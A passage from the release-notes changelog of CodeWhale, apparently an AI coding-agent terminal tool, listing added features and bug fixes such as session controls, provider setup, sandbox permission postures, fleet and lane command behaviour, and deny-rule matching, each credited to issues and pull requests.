(issue <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4987497010" data-permission-text="Title is private" data-url="https://github.com/Hmbown/CodeWhale/issues/4925" data-hovercard-type="issue" data-hovercard-url="/Hmbown/CodeWhale/issues/4925/hovercard" href="https://github.com/Hmbown/CodeWhale/issues/4925">#4925</a> and PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4987762796" data-permission-text="Title is private" data-url="https://github.com/Hmbown/CodeWhale/issues/4928" data-hovercard-type="pull_request" data-hovercard-url="/Hmbown/CodeWhale/pull/4928/hovercard" href="https://github.com/Hmbown/CodeWhale/pull/4928">#4928</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/M-Maciej/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/M-Maciej">@M-Maciej</a>).</p>
</li>
<li>
<p>The transcript renders a conservative subset of LaTeX math as readable<br>
Unicode without rewriting fenced/inline code, ordinary currency, escaped<br>
dollars, or unknown commands. The contribution from PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="5010736304" data-permission-text="Title is private" data-url="https://github.com/Hmbown/CodeWhale/issues/4973" data-hovercard-type="pull_request" data-hovercard-url="/Hmbown/CodeWhale/pull/4973/hovercard" href="https://github.com/Hmbown/CodeWhale/pull/4973">#4973</a> by<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/SparkofSpike/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/SparkofSpike">@SparkofSpike</a> was hardened and landed through PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="5011035406" data-permission-text="Title is private" data-url="https://github.com/Hmbown/CodeWhale/issues/4974" data-hovercard-type="pull_request" data-hovercard-url="/Hmbown/CodeWhale/pull/4974/hovercard" href="https://github.com/Hmbown/CodeWhale/pull/4974">#4974</a>; reported by<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/antarikshraya/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/antarikshraya">@antarikshraya</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="5001779611" data-permission-text="Title is private" data-url="https://github.com/Hmbown/CodeWhale/issues/4957" data-hovercard-type="issue" data-hovercard-url="/Hmbown/CodeWhale/issues/4957/hovercard" href="https://github.com/Hmbown/CodeWhale/issues/4957">#4957</a>.</p>
</li>
<li>
<p>Session control now includes a sessions rail, shared archive projection,<br>
picker archive controls, and opt-in interactive auto-resume with explicit<br>
handoff behavior. The work closes the remaining session-browsing direction<br>
from <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4619133252" data-permission-text="Title is private" data-url="https://github.com/Hmbown/CodeWhale/issues/2934" data-hovercard-type="issue" data-hovercard-url="/Hmbown/CodeWhale/issues/2934/hovercard" href="https://github.com/Hmbown/CodeWhale/issues/2934">#2934</a>; thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/cy2311/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/cy2311">@cy2311</a> for the original report.</p>
</li>
<li>
<p>The bundled contributor-onboarding skill can sync contribution context,<br>
select the appropriate gate, and prepare a digest without inflating the<br>
ambient skill catalog. It follows the contributor-navigation request in<br>
<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4839355599" data-permission-text="Title is private" data-url="https://github.com/Hmbown/CodeWhale/issues/4227" data-hovercard-type="issue" data-hovercard-url="/Hmbown/CodeWhale/issues/4227/hovercard" href="https://github.com/Hmbown/CodeWhale/issues/4227">#4227</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JayBeest/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JayBeest">@JayBeest</a>.</p>
</li>
<li>
<p>Bahasa Indonesia now has a complete repository documentation suite and a<br>
registered website dictionary alongside the shipped TUI locale (PRs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="5006683226" data-permission-text="Title is private" data-url="https://github.com/Hmbown/CodeWhale/issues/4962" data-hovercard-type="pull_request" data-hovercard-url="/Hmbown/CodeWhale/pull/4962/hovercard" href="https://github.com/Hmbown/CodeWhale/pull/4962">#4962</a><br>
and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="5010577651" data-permission-text="Title is private" data-url="https://github.com/Hmbown/CodeWhale/issues/4972" data-hovercard-type="pull_request" data-hovercard-url="/Hmbown/CodeWhale/pull/4972/hovercard" href="https://github.com/Hmbown/CodeWhale/pull/4972">#4972</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/atmosuwiryo/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/atmosuwiryo">@atmosuwiryo</a>, closing <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4972376531" data-permission-text="Title is private" data-url="https://github.com/Hmbown/CodeWhale/issues/4789" data-hovercard-type="issue" data-hovercard-url="/Hmbown/CodeWhale/issues/4789/hovercard" href="https://github.com/Hmbown/CodeWhale/issues/4789">#4789</a>).</p>
</li>
<li>
<p>Reasoning content can keep its rail, italics, cursor, and expansion controls<br>
while disabling only the warm background highlight. The independent setting<br>
is persisted and localized (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4828921311" data-permission-text="Title is private" data-url="https://github.com/Hmbown/CodeWhale/issues/4089" data-hovercard-type="issue" data-hovercard-url="/Hmbown/CodeWhale/issues/4089/hovercard" href="https://github.com/Hmbown/CodeWhale/issues/4089">#4089</a>; reported by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/elijahchan2019/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/elijahchan2019">@elijahchan2019</a>).</p>
</li>
<li>
<p>StepFun setup now asks whether a key belongs to PAYG or Step Plan, keeps the<br>
two endpoint/billing routes distinct, and localizes the choice across the<br>
complete packs (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4918376763" data-permission-text="Title is private" data-url="https://github.com/Hmbown/CodeWhale/issues/4526" data-hovercard-type="issue" data-hovercard-url="/Hmbown/CodeWhale/issues/4526/hovercard" href="https://github.com/Hmbown/CodeWhale/issues/4526">#4526</a>; reported by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/whp233/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/whp233">@whp233</a>).</p>
</li>
<li>
<p>OpenCode Zen is a separate model-aware API-key provider. Its curated catalog<br>
selects Responses, Anthropic Messages, or Chat Completions per model;<br>
unsupported Gemini and unknown models fail closed, and missing Zen<br>
credentials never fall through to ChatGPT/Codex OAuth guidance. The<br>
implementation from closed PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4908652248" data-permission-text="Title is private" data-url="https://github.com/Hmbown/CodeWhale/issues/4467" data-hovercard-type="pull_request" data-hovercard-url="/Hmbown/CodeWhale/pull/4467/hovercard" href="https://github.com/Hmbown/CodeWhale/pull/4467">#4467</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/snail-vs/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/snail-vs">@snail-vs</a> (snailoniu) is preserved in<br>
the candidate.</p>
</li>
<li>
<p>Markdown exports correlate prompts with stable workspace restore-point ids<br>
and say when correlation is unavailable or ambiguous, completing the<br>
remaining restoration/export direction from <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4561644628" data-permission-text="Title is private" data-url="https://github.com/Hmbown/CodeWhale/issues/2494" data-hovercard-type="issue" data-hovercard-url="/Hmbown/CodeWhale/issues/2494/hovercard" href="https://github.com/Hmbown/CodeWhale/issues/2494">#2494</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/wywsoor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/wywsoor">@wywsoor</a>.</p>
</li>
</ul>
<h3>Fixed</h3>
<ul>
<li>
<p>Permission setup now consistently presents the product postures Ask,<br>
Auto-Review, and Full Access instead of leaking the internal <code>never</code> token.<br>
The same resolved sandbox policy now drives execution and UI receipts: Plan<br>
stays read-only, Ask and Auto-Review stay workspace-scoped, and Full Access<br>
is actually unsandboxed unless a stricter effective configuration wins.</p>
</li>
<li>
<p>Fleet setup no longer stalls when a user explicitly selects a configured<br>
Codex or Grok external-consent route. The selected route is activated and<br>
validated before saving, roster roles open directly on their Model step,<br>
Review saves on the first Enter, and new profiles default to the personal<br>
profile directory that the roster loads on the next session.</p>
</li>
<li>
<p>Provider credential dialogs now share one wrapping, secret-safe API-key<br>
surface across every non-OAuth provider. A key already present in durable<br>
storage is reported as configured without rendering it, typing or pasting is<br>
clearly framed as replacement, narrow help text remains visible, and Codex<br>
and Grok OAuth flows remain token-free in this modal.</p>
</li>
<li>
<p>Ctrl+O again opens the complete recorded reasoning detail for the selected,<br>
active, or latest reasoning block. The whole-turn Turn Inspector moved to<br>
Ctrl+Alt+O and <code>/turn inspect</code>, removing the shortcut collision while keeping<br>
raw leaf detail and post-flush reasoning discoverable.</p>
</li>
<li>
<p>Failed child agents now deliver a distinct high-priority failure receipt to<br>
their owning parent with a sanitized failure class, elapsed work, and a full<br>
transcript handle. Parent-to-child message, follow-up, and interrupt tools<br>
now use one hierarchy-checked mailbox path, and persisted nested completion<br>
envelopes remain safely restorable across instruction-text revisions.</p>
</li>
<li>
<p>Background-shell completion events now carry only bounded tails plus a<br>
retrievable exact-evidence handle. Terminal foreground Bash results are<br>
acknowledged at the direct tool-result boundary and are no longer emitted a<br>
second time as background completion artifacts.</p>
</li>
<li>
<p>Providerless Fleet and child-agent fixed-model routes now reject only<br>
high-confidence foreign-provider model ids before creating a worktree, while<br>
explicit provider/model pairs, custom and local endpoints, unknown ids, and<br>
aggregator wire-id resolution retain their intended behavior.</p>
</li>
<li>
<p>Manual compaction now preserves and reports the supplied provider failure<br>
class instead of replacing it with an opaque generic error. This does not<br>
infer quota exhaustion when the recorded failure does not prove it.</p>
</li>
<li>
<p>The ambient jellyfish keep complete, readable silhouettes while animating,<br>
and the website favicon now uses the Signal Current desktop tile instead of<br>
the legacy whale mark.</p>
</li>
<li>
<p>ACP JSON-RPC responses preserve numeric request ids for avante.nvim while<br>
retaining the negotiated string-id exception for Zed (PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4987992554" data-permission-text="Title is private" data-url="https://github.com/Hmbown/CodeWhale/issues/4929" data-hovercard-type="pull_request" data-hovercard-url="/Hmbown/CodeWhale/pull/4929/hovercard" href="https://github.com/Hmbown/CodeWhale/pull/4929">#4929</a> by<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/atmosuwiryo/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/atmosuwiryo">@atmosuwiryo</a>).</p>
</li>
<li>
<p>Restored shell cells whose job no longer exists stop displaying live<br>
spinners and settle into a truthful stale/no-output state across transcript,<br>
phase strip, and sidebar (PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4993961802" data-permission-text="Title is private" data-url="https://github.com/Hmbown/CodeWhale/issues/4937" data-hovercard-type="pull_request" data-hovercard-url="/Hmbown/CodeWhale/pull/4937/hovercard" href="https://github.com/Hmbown/CodeWhale/pull/4937">#4937</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/LI-Jialu/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/LI-Jialu">@LI-Jialu</a>, closing <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4920690919" data-permission-text="Title is private" data-url="https://github.com/Hmbown/CodeWhale/issues/4547" data-hovercard-type="issue" data-hovercard-url="/Hmbown/CodeWhale/issues/4547/hovercard" href="https://github.com/Hmbown/CodeWhale/issues/4547">#4547</a>).</p>
</li>
<li>
<p>Interrupted checkpoints and timed recovery snapshots remain checkpoints<br>
instead of being promoted into orphan session files, preventing duplicate<br>
<code>/resume</code> entries (PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="5007181884" data-permission-text="Title is private" data-url="https://github.com/Hmbown/CodeWhale/issues/4963" data-hovercard-type="pull_request" data-hovercard-url="/Hmbown/CodeWhale/pull/4963/hovercard" href="https://github.com/Hmbown/CodeWhale/pull/4963">#4963</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/SparkofSpike/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/SparkofSpike">@SparkofSpike</a>).</p>
</li>
<li>
<p>Every shipped locale is admitted by the typed settings schema and native<br>
chooser, with complete/partial status kept independent and tested (PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4979246974" data-permission-text="Title is private" data-url="https://github.com/Hmbown/CodeWhale/issues/4856" data-hovercard-type="pull_request" data-hovercard-url="/Hmbown/CodeWhale/pull/4856/hovercard" href="https://github.com/Hmbown/CodeWhale/pull/4856">#4856</a><br>
by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/nightt5879/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/nightt5879">@nightt5879</a>, closing <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4972373240" data-permission-text="Title is private" data-url="https://github.com/Hmbown/CodeWhale/issues/4786" data-hovercard-type="issue" data-hovercard-url="/Hmbown/CodeWhale/issues/4786/hovercard" href="https://github.com/Hmbown/CodeWhale/issues/4786">#4786</a>). Context-menu hover hit-testing also accounts<br>
for its title row (PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4981177356" data-permission-text="Title is private" data-url="https://github.com/Hmbown/CodeWhale/issues/4897" data-hovercard-type="pull_request" data-hovercard-url="/Hmbown/CodeWhale/pull/4897/hovercard" href="https://github.com/Hmbown/CodeWhale/pull/4897">#4897</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/XhesicaFrost/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/XhesicaFrost">@XhesicaFrost</a>; reported by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/SparkofSpike/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/SparkofSpike">@SparkofSpike</a> in<br>
<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4973765241" data-permission-text="Title is private" data-url="https://github.com/Hmbown/CodeWhale/issues/4803" data-hovercard-type="issue" data-hovercard-url="/Hmbown/CodeWhale/issues/4803/hovercard" href="https://github.com/Hmbown/CodeWhale/issues/4803">#4803</a>).</p>
</li>
<li>
<p>OSC 52 and SSH/tmux clipboard transport run on one bounded background worker<br>
rather than blocking input and rendering on the TUI loop; late transport<br>
failures still surface through the status path (PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4981116180" data-permission-text="Title is private" data-url="https://github.com/Hmbown/CodeWhale/issues/4896" data-hovercard-type="pull_request" data-hovercard-url="/Hmbown/CodeWhale/pull/4896/hovercard" href="https://github.com/Hmbown/CodeWhale/pull/4896">#4896</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/nightt5879/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/nightt5879">@nightt5879</a>,<br>
closing <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4832767733" data-permission-text="Title is private" data-url="https://github.com/Hmbown/CodeWhale/issues/4159" data-hovercard-type="issue" data-hovercard-url="/Hmbown/CodeWhale/issues/4159/hovercard" href="https://github.com/Hmbown/CodeWhale/issues/4159">#4159</a>).</p>
</li>
<li>
<p>Non-streaming model calls receive a generation-length response budget rather<br>
than the SSE header-open timeout, while actual SSE opens share the bounded<br>
cross-provider transport seam. The equivalent fix direction came from<br>
closed PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4964800256" data-permission-text="Title is private" data-url="https://github.com/Hmbown/CodeWhale/issues/4743" data-hovercard-type="pull_request" data-hovercard-url="/Hmbown/CodeWhale/pull/4743/hovercard" href="https://github.com/Hmbown/CodeWhale/pull/4743">#4743</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vibecoding-skills/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vibecoding-skills">@vibecoding-skills</a>.</p>
</li>
<li>
<p>Resumed sessions diagnose a deleted inherited workspace before shell launch<br>
instead of failing as an opaque Windows process error (report <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4832458456" data-permission-text="Title is private" data-url="https://github.com/Hmbown/CodeWhale/issues/4100" data-hovercard-type="issue" data-hovercard-url="/Hmbown/CodeWhale/issues/4100/hovercard" href="https://github.com/Hmbown/CodeWhale/issues/4100">#4100</a> by<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/redjade75723/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/redjade75723">@redjade75723</a>). DeepSeek native tool-call wrapper tokens are also scrubbed<br>
from visible streaming and completed output as a grounded fail-soft follow-up<br>
to report <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4790446346" data-permission-text="Title is private" data-url="https://github.com/Hmbown/CodeWhale/issues/3880" data-hovercard-type="issue" data-hovercard-url="/Hmbown/CodeWhale/issues/3880/hovercard" href="https://github.com/Hmbown/CodeWhale/issues/3880">#3880</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hardy922/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hardy922">@hardy922</a>; that report's exact emitted marker remained<br>
unconfirmed.</p>
</li>
<li>
<p>Auto model routing now preserves the user's requested reasoning effort<br>
through startup, provider/model changes, session restore, the picker,<br>
Ctrl+T, and Hotbar actions. The tier is normalized only after the concrete<br>
provider route is known instead of being silently replaced by Auto<br>
(<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4994372900" data-permission-text="Title is private" data-url="https://github.com/Hmbown/CodeWhale/issues/4941" data-hovercard-type="issue" data-hovercard-url="/Hmbown/CodeWhale/issues/4941/hovercard" href="https://github.com/Hmbown/CodeWhale/issues/4941">#4941</a>, PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="5005451713" data-permission-text="Title is private" data-url="https://github.com/Hmbown/CodeWhale/issues/4961" data-hovercard-type="pull_request" data-hovercard-url="/Hmbown/CodeWhale/pull/4961/hovercard" href="https://github.com/Hmbown/CodeWhale/pull/4961">#4961</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/nightt5879/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/nightt5879">@nightt5879</a>).</p>
</li>
<li>
<p>Auto-compaction now defaults on for every known model context window,<br>
including Kimi K3's 1,048,576-token routes. Persisting only an<br>
<code>auto_compact_threshold</code> or <code>auto_compact_threshold_percent</code> now counts as<br>
opt-in intent, while an explicit <code>auto_compact = false</code> remains authoritative.<br>
<code>/config</code> reports the effective state, percentage, and computed token trigger.</p>
</li>
<li>
<p>Per-provider <code>context_window</code> overrides are now documented and visible in<br>
<code>/config</code>, provider setup help, diagnostics, and the example configuration.<br>
The effective override consistently drives preflight budgeting, the context<br>
meter, and compaction; this lets a user cap a 1M Kimi route to 256K when their<br>
Coding Plan tier has the smaller window.</p>
</li>
<li>
<p>Agent Details now projects status, model, elapsed time, and step counts from<br>
the same row snapshot as the primary agents list, eliminating contradictory<br>
worker state between the two surfaces.</p>
</li>
<li>
<p>Composer submission and its hints now share one state machine. Portable<br>
terminals use Enter to queue during a running turn and Enter again to steer;<br>
Ctrl/Cmd+Enter is accepted only when an enhanced terminal reports it and is<br>
no longer advertised as universally available.</p>
</li>
<li>
<p><code>edit_file</code> now matches LF-only model search text against CRLF files,<br>
preserves the file's line-ending style for replacement text, and still<br>
rejects newline-normalized duplicate matches as non-unique (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4971267178" data-permission-text="Title is private" data-url="https://github.com/Hmbown/CodeWhale/issues/4764" data-hovercard-type="issue" data-hovercard-url="/Hmbown/CodeWhale/issues/4764/hovercard" href="https://github.com/Hmbown/CodeWhale/issues/4764">#4764</a>).<br>
Implemented in PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4994378650" data-permission-text="Title is private" data-url="https://github.com/Hmbown/CodeWhale/issues/4942" data-hovercard-type="pull_request" data-hovercard-url="/Hmbown/CodeWhale/pull/4942/hovercard" href="https://github.com/Hmbown/CodeWhale/pull/4942">#4942</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/nightt5879/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/nightt5879">@nightt5879</a>; reported and root-caused by<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/LmeSzinc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/LmeSzinc">@LmeSzinc</a>.</p>
</li>
<li>
<p><code>/fleet status</code> read the current TUI session's sub-agents while <code>codewhale fleet status</code> read the durable <code>.codewhale/fleet.jsonl</code> ledger — two different<br>
things wearing one name, so a run started by <code>codewhale fleet run</code> never<br>
appeared in the TUI. <code>/fleet status</code> now reads the durable ledger through the<br>
same code path as the CLI; the session view keeps its own name as<br>
<code>/fleet workers</code> (<code>/subagents</code> and <code>n</code> still work). When a workspace has no<br>
ledger, both surfaces report a typed <code>no_fleet_ledger</code> reason instead of an<br>
empty-looking "all clear", and neither creates the ledger as a side effect of<br>
reading it (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4806482543" data-permission-text="Title is private" data-url="https://github.com/Hmbown/CodeWhale/issues/4022" data-hovercard-type="issue" data-hovercard-url="/Hmbown/CodeWhale/issues/4022/hovercard" href="https://github.com/Hmbown/CodeWhale/issues/4022">#4022</a>).</p>
</li>
<li>
<p><code>codewhale fleet status</code> (and <code>list</code>/<code>interrupt</code>/<code>resume</code>) created<br>
<code>.codewhale/fleet.jsonl</code> as a side effect of opening the manager, then<br>
reported <code>no_fleet_ledger</code> for the file it had just made — so the second<br>
invocation showed an empty Fleet where none existed. The CLI now refuses<br>
those verbs before the manager is constructed, matching <code>/fleet</code> (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4806482543" data-permission-text="Title is private" data-url="https://github.com/Hmbown/CodeWhale/issues/4022" data-hovercard-type="issue" data-hovercard-url="/Hmbown/CodeWhale/issues/4022/hovercard" href="https://github.com/Hmbown/CodeWhale/issues/4022">#4022</a>).</p>
</li>
<li>
<p><code>fleet resume &lt;run-id&gt;</code> accepted any string. An id absent from the ledger<br>
reconciled nothing but still wrote a run-status record keyed by whatever was<br>
typed, and reported <code>no_change</code>. Unknown ids are now refused as <code>not_found</code><br>
before any durable write (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4806482543" data-permission-text="Title is private" data-url="https://github.com/Hmbown/CodeWhale/issues/4022" data-hovercard-type="issue" data-hovercard-url="/Hmbown/CodeWhale/issues/4022/hovercard" href="https://github.com/Hmbown/CodeWhale/issues/4022">#4022</a>).</p>
</li>
<li>
<p><code>lane interrupt</code> reported <code>transitioned</code> even when it changed nothing —<br>
another process's stop looked like our own. The Runtime backend now reports<br>
whether <em>this</em> call performed the transition, and a no-op is <code>no_change</code>.<br>
The <code>@&lt;lifecycle-seq&gt;</code> fence is also evaluated inside the registry's per-Lane<br>
lock rather than before it, so a stale fence refuses without running Runtime<br>
teardown instead of racing between the check and the stop (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4493398569" data-permission-text="Title is private" data-url="https://github.com/Hmbown/CodeWhale/issues/1888" data-hovercard-type="issue" data-hovercard-url="/Hmbown/CodeWhale/issues/1888/hovercard" href="https://github.com/Hmbown/CodeWhale/issues/1888">#1888</a>).</p>
</li>
<li>
<p><code>/lane</code> no longer runs Runtime teardown on the TUI composer thread. Reads on<br>
the slash surface skip reconciliation (which probes tmux and takes a lock)<br>
and say so on the receipt instead of implying freshness; <code>lane interrupt</code> is<br>
CLI-only until that work runs off-thread, and reports<br>
<code>surface_not_supported</code> naming <code>codewhale lane interrupt</code> (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4806482543" data-permission-text="Title is private" data-url="https://github.com/Hmbown/CodeWhale/issues/4022" data-hovercard-type="issue" data-hovercard-url="/Hmbown/CodeWhale/issues/4022/hovercard" href="https://github.com/Hmbown/CodeWhale/issues/4022">#4022</a>).</p>
</li>
<li>
<p>The hotbar is no longer modelled as a third control surface. A slot binds a<br>
slash command and fires it with no argument, so it runs <em>as</em> the slash<br>
surface; the contract now declares which verb a bare press actually reaches<br>
(<code>hotbar_bare_dispatch</code>, true only for <code>lane.list</code>) instead of advertising<br>
target-taking verbs as hotbar-reachable (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4493398569" data-permission-text="Title is private" data-url="https://github.com/Hmbown/CodeWhale/issues/1888" data-hovercard-type="issue" data-hovercard-url="/Hmbown/CodeWhale/issues/1888/hovercard" href="https://github.com/Hmbown/CodeWhale/issues/1888">#1888</a>).</p>
</li>
<li>
<p><code>codewhale lane list --json</code> and <code>lane status --json</code> keep emitting the<br>
<code>LaneRecord</code> shape they always have — the receipt did not replace it. The<br>
human <code>lane status</code> output also regained <code>branch</code>, <code>session</code>, <code>socket</code>,<br>
<code>attach</code>, and <code>log</code>, which the first cut of the shared DTO had dropped<br>
(<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4493398569" data-permission-text="Title is private" data-url="https://github.com/Hmbown/CodeWhale/issues/1888" data-hovercard-type="issue" data-hovercard-url="/Hmbown/CodeWhale/issues/1888/hovercard" href="https://github.com/Hmbown/CodeWhale/issues/1888">#1888</a>).</p>
</li>
<li>
<p>No surface advertises a backend it does not have. <code>lane restart</code> and<br>
<code>lane resume</code> have no implementation — a Lane is re-created by<br>
<code>codewhale lane start</code>, and a stopped Lane's Runtime session is gone — so all<br>
three surfaces refuse them with <code>backend_not_implemented</code> and say why.<br>
<code>fleet restart</code> drives the manager loop to completion, which only the CLI<br>
runs, so <code>/fleet restart</code> reports <code>surface_not_supported</code> and names the CLI<br>
command rather than quietly doing a smaller thing (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4493398569" data-permission-text="Title is private" data-url="https://github.com/Hmbown/CodeWhale/issues/1888" data-hovercard-type="issue" data-hovercard-url="/Hmbown/CodeWhale/issues/1888/hovercard" href="https://github.com/Hmbown/CodeWhale/issues/1888">#1888</a>).</p>
</li>
<li>
<p>Deny rules in <code>permissions.toml</code> no longer miss a command because of an<br>
intervening flag: deny matching is token-based with flag-skipping and<br>
backtracking, so a <code>git push</code> rule still catches<br>
<code>git -c foo=bar push</code>. Path matching folds case only on platforms whose<br>
filesystems are case-insensitive, and the default approval branch no<br>
longer proposes the working directory as a network host.</p>
</li>
<li>
<p>MCP tool calls run once. A failed call is no longer retried as if it<br>
were a failed lookup, qualified-name resolution collects every match and<br>
reports an ambiguity instead of taking whichever the hash map yielded<br>
first, and registering a server whose name collides with an existing one<br>
after sanitization is now an error rather than a silent overwrite.<br>
The equivalent call-once fix direction came from closed PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4965599814" data-permission-text="Title is private" data-url="https://github.com/Hmbown/CodeWhale/issues/4756" data-hovercard-type="pull_request" data-hovercard-url="/Hmbown/CodeWhale/pull/4756/hovercard" href="https://github.com/Hmbown/CodeWhale/pull/4756">#4756</a> by<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/adity982/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/adity982">@adity982</a>.</p>
</li>
<li>
<p>The session index survives a torn line: an unparseable entry is skipped<br>
rather than aborting the whole read, appends carry their data through to<br>
disk, and appends and compaction share a lock so a compaction can no<br>
longer race an append into a lost record.</p>
</li>
<li>
<p><code>Edit</code> counts as a write tool for workflow elevation, and the TUI's<br>
write/shell classification now delegates to one shared allowlist rather<br>
than keeping a second copy that could drift.</p>
</li>
<li>
<p>A rejected <code>app/config/set</code> stays a no-op. Previously an invalid value<br>
still tore down the cached runtime bridge, killing the child runtime and<br>
orphaning every other in-flight stdio thread behind a response that<br>
correctly reported failure.</p>
</li>
<li>
<p>A malformed project <code>config.toml</code> is no longer indistinguishable from<br>
having no project config. Because a project config may only <em>tighten</em><br>
approval and sandbox policy, silently discarding a broken one dropped a<br>
repository's restrictions back to the looser user defaults; the setup<br>
wizard now says so, naming the file but never quoting its contents.</p>
</li>
<li>
<p>An expired lane worktree no longer leaves its branch behind, which made<br>
reusing the same lane name fail with "branch already exists". A branch<br>
still carrying unmerged commits is kept — a TTL lapsing is not consent<br>
to delete someone's work.</p>
</li>
<li>
<p>An in-flight <code>thread/message</code> turn can be stopped. The stdio loop keeps<br>
reading while a turn streams, so the new <code>thread/interrupt</code> request (and<br>
<code>shutdown</code>) can reach a runaway turn instead of waiting on the very turn<br>
they were meant to stop.</p>
</li>
<li>
<p>Precedence is stated only in the constitution's "Whose word wins" section.<br>
Memory hygiene no longer ships an inverted Tier list that put the<br>
constitution above the user's current request; approval, compaction, and<br>
personality overlays describe behavior without rank vocabulary; and the<br>
authority recap points at the single source rather than restating a second<br>
ladder.</p>
</li>
<li>
<p><code>&lt;turn_meta&gt;</code> carries facts (mode, posture, model, workspace), not mode<br>
doctrine or permission-question essays re-asserted every user message.</p>
</li>
<li>
